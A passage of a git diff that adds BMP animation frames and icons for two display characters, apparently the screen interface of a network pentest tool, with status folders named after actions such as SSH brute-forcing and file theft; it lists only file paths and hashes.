b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce11.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce11.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce12.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce12.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce12.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce13.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce13.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce13.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce5.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce6.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce7.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce8.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce8.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce8.bmp differ diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce9.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp new file mode 100644 index 0000000..1c81cf6 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL10.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL10.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL10.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL4.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL4.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL4.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL5.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL6.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL7.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL8.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP.bmp b/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP1.bmp b/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesFTP/StealFilesFTP1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB.bmp b/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB1.bmp b/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSMB/StealFilesSMB1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH1.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH10.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH10.bmp new file mode 100644 index 0000000..b68803a Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH10.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp new file mode 100644 index 0000000..13eaf41 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH12.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH12.bmp new file mode 100644 index 0000000..580b967 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH12.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp new file mode 100644 index 0000000..68fe849 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH13.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp new file mode 100644 index 0000000..c7b26b5 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp new file mode 100644 index 0000000..474c315 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH4.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH4.bmp new file mode 100644 index 0000000..353d54a Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH4.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH5.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH5.bmp new file mode 100644 index 0000000..33ab580 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH5.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp new file mode 100644 index 0000000..a6cd3fb Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp new file mode 100644 index 0000000..9616013 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp new file mode 100644 index 0000000..1848bb0 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH8.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp new file mode 100644 index 0000000..a473218 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH9.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp b/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp new file mode 100644 index 0000000..ad53291 Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet.bmp differ diff --git a/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet1.bmp b/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/StealFilesTelnet/StealFilesTelnet1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce.bmp b/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce.bmp new file mode 100644 index 0000000..ac1d6dc Binary files /dev/null and b/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce.bmp differ diff --git a/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce1.bmp b/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/TelnetBruteforce/TelnetBruteforce1.bmp differ diff --git a/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone.bmp b/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone.bmp new file mode 100644 index 0000000..f7317bb Binary files /dev/null and b/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone.bmp differ diff --git a/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone1.bmp b/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/BJORN/status/TestStandalone/TestStandalone1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/0.bmp b/resources/default_config/characters/MEDUSA/static/0.bmp new file mode 100644 index 0000000..8982328 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/0.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/100.bmp b/resources/default_config/characters/MEDUSA/static/100.bmp new file mode 100644 index 0000000..4229b5b Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/100.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/25.bmp b/resources/default_config/characters/MEDUSA/static/25.bmp new file mode 100644 index 0000000..9b51eec Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/25.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/50.bmp b/resources/default_config/characters/MEDUSA/static/50.bmp new file mode 100644 index 0000000..dfffc4e Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/50.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/75.bmp b/resources/default_config/characters/MEDUSA/static/75.bmp new file mode 100644 index 0000000..86f4638 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/75.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/AI.bmp b/resources/default_config/characters/MEDUSA/static/AI.bmp new file mode 100644 index 0000000..819dac8 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/AI.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/attack.bmp b/resources/default_config/characters/MEDUSA/static/attack.bmp new file mode 100644 index 0000000..62ead1d Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/attack.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/attacks.bmp b/resources/default_config/characters/MEDUSA/static/attacks.bmp new file mode 100644 index 0000000..4a0a5be Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/attacks.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/auto.bmp b/resources/default_config/characters/MEDUSA/static/auto.bmp new file mode 100644 index 0000000..12b6f4f Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/auto.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/bjorn1.bmp b/resources/default_config/characters/MEDUSA/static/bjorn1.bmp new file mode 100644 index 0000000..1c81cf6 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/bjorn1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/bluetooth.bmp b/resources/default_config/characters/MEDUSA/static/bluetooth.bmp new file mode 100644 index 0000000..58e2079 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/bluetooth.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/charging.bmp b/resources/default_config/characters/MEDUSA/static/charging.bmp new file mode 100644 index 0000000..5836eaf Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/charging.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/charging1.bmp b/resources/default_config/characters/MEDUSA/static/charging1.bmp new file mode 100644 index 0000000..4482007 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/charging1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/connected.bmp b/resources/default_config/characters/MEDUSA/static/connected.bmp new file mode 100644 index 0000000..25c82fb Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/connected.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/cred.bmp b/resources/default_config/characters/MEDUSA/static/cred.bmp new file mode 100644 index 0000000..47ea10c Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/cred.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/data.bmp b/resources/default_config/characters/MEDUSA/static/data.bmp new file mode 100644 index 0000000..f38e7d4 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/data.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/ethernet.bmp b/resources/default_config/characters/MEDUSA/static/ethernet.bmp new file mode 100644 index 0000000..c5e20d8 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/ethernet.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/frise.bmp b/resources/default_config/characters/MEDUSA/static/frise.bmp new file mode 100644 index 0000000..1729551 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/frise.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/gold.bmp b/resources/default_config/characters/MEDUSA/static/gold.bmp new file mode 100644 index 0000000..c729f59 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/gold.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/level.bmp b/resources/default_config/characters/MEDUSA/static/level.bmp new file mode 100644 index 0000000..42f2a68 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/level.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/manual.bmp b/resources/default_config/characters/MEDUSA/static/manual.bmp new file mode 100644 index 0000000..0c1954d Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/manual.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/money.bmp b/resources/default_config/characters/MEDUSA/static/money.bmp new file mode 100644 index 0000000..cd3a033 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/money.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/networkkb.bmp b/resources/default_config/characters/MEDUSA/static/networkkb.bmp new file mode 100644 index 0000000..967d706 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/networkkb.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/port.bmp b/resources/default_config/characters/MEDUSA/static/port.bmp new file mode 100644 index 0000000..0917334 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/port.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/target.bmp b/resources/default_config/characters/MEDUSA/static/target.bmp new file mode 100644 index 0000000..9808765 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/target.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/usb.bmp b/resources/default_config/characters/MEDUSA/static/usb.bmp new file mode 100644 index 0000000..5a13b47 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/usb.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/vuln.bmp b/resources/default_config/characters/MEDUSA/static/vuln.bmp new file mode 100644 index 0000000..b8547b5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/vuln.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/wifi.bmp b/resources/default_config/characters/MEDUSA/static/wifi.bmp new file mode 100644 index 0000000..eb95ff9 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/wifi.bmp differ diff --git a/resources/default_config/characters/MEDUSA/static/zombie.bmp b/resources/default_config/characters/MEDUSA/static/zombie.bmp new file mode 100644 index 0000000..4dfb112 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/static/zombie.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp b/resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp new file mode 100644 index 0000000..e8f452c Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/BerserkerForce/BerserkerForce.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce.bmp b/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce.bmp new file mode 100644 index 0000000..26a80ce Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp b/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp new file mode 100644 index 0000000..378babe Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/FTPBruteforce/FTPBruteforce1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE.bmp new file mode 100644 index 0000000..45583cb Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp new file mode 100644 index 0000000..3df095b Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE1.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp new file mode 100644 index 0000000..9964124 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE10.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE11.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE11.bmp new file mode 100644 index 0000000..d831df5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE11.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE12.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE12.bmp new file mode 100644 index 0000000..9ba5270 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE12.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp new file mode 100644 index 0000000..88ab0a7 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE14.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE14.bmp new file mode 100644 index 0000000..f60e0ce Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE14.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp new file mode 100644 index 0000000..25f7a83 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE15.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE16.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE16.bmp new file mode 100644 index 0000000..5662c46 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE16.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE17.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE17.bmp new file mode 100644 index 0000000..99a3ded Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE17.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp new file mode 100644 index 0000000..55a36b8 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE18.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp new file mode 100644 index 0000000..1474fe0 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp new file mode 100644 index 0000000..52589b1 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE2.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp new file mode 100644 index 0000000..182c193 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE20.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp new file mode 100644 index 0000000..dbcade0 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE21.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE22.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE22.bmp new file mode 100644 index 0000000..c913142 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE22.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp new file mode 100644 index 0000000..426af0b Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE23.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp new file mode 100644 index 0000000..243844c Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE24.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE25.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE25.bmp new file mode 100644 index 0000000..3c7332d Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE25.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp new file mode 100644 index 0000000..0e5d33d Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE26.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp new file mode 100644 index 0000000..6c2dea8 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE27.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE28.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE28.bmp new file mode 100644 index 0000000..528a843 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE28.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp new file mode 100644 index 0000000..dfe1ccb Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE29.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp new file mode 100644 index 0000000..0ef47b5 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE3.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp new file mode 100644 index 0000000..a72ca5d Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE30.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE31.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE31.bmp new file mode 100644 index 0000000..e061a54 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE31.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE32.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE32.bmp new file mode 100644 index 0000000..528a843 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE32.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp new file mode 100644 index 0000000..fc14d11 Binary files /dev/null and b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE33.bmp differ diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE34.bmp new file mode 100644 